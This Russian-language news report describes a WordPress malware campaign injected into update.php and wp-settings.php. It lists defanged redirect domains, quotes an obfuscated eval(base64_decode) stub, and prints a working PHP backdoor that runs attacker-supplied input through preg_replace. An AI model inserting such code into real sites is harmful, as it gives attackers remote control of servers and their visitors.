Вредоносный автоапдейт Wordpress

Картинка: 

Более 1000 блогов на платформе Wordpress уже инфицированы зловредом, который заранее внедрился в скрипт автоматического обновления wp-admin/includes/update.php. Атаку обнаружил Денис Синегубко из компании Unmask Parasites.

Поскольку атака началась в районе 20 апреля, перед выходом новой версии Wordpress 3.3.2, к настоящему моменту функцией автоматического обновления воспользовалось большое количество админов. Многие из них, таким образом, добавили в свои блоги вредоносный код.

Инфицированные сайты осуществляют редирект по следующим адресам:
hxxp://berega .in/?site=&q=&searchEngine=
hxxp://zizigoba .in/?site=&q=&searchEngine=
hxxp://vivizaza .be/?site=8&q=&searchEngine=

Затем пользователей перенаправляют по URL вроде таких:
hxxp://riotorio .com/search/?q=
hxxp://lazgosearch .com/search?_t=1&q=
http://gabazasearch .com/?_t=1&q=

В итоге, злоумышленники осуществляют монетизацию трафика с помощью рекламных программ с оплатой за клики.

Атака проведена путём внедрения в файл wp-settings.php дополнительного кода (см. расшифровку):
// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
// Start cache settings
eval(base64_decode('...long unreadable string here...'));
// Finish cache settings
// Start cache settings
// Finish cache settings

В коде есть несколько интересных особенностей. Например, он устанавливает cookie и перенаправляет пользователей только в том случае, если cookie отсутствует. Более того, он отправляет IP-адрес пользователя на удалённый сервер, чтобы блокировать редирект для этого IP в будущем. Всё это сделано для скрытия атаки путём затруднения её повторения.

Есть фрагмент, который выполняет функцию бэкдора, так что злоумышленники могут позже модифицировать код на каждом заражённом сервере.
if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) {
$c = $_POST['cadv'];
$c = str_replace("\\\\", "\\", $c);
$g = $_POST['gadv'];
$g = str_replace("\\\"", "\"", $g);
$r = preg_replace("$c", $g, 'sss 4');
die();
}

Кроме wp-settings.php, модификации подвергается функция wp_update_core в файле wp-admin/includes/update.php. Расшифрованный код см. здесь. Именно она отвечает за осуществление автоматического обновления Wordpress.

xakep.ru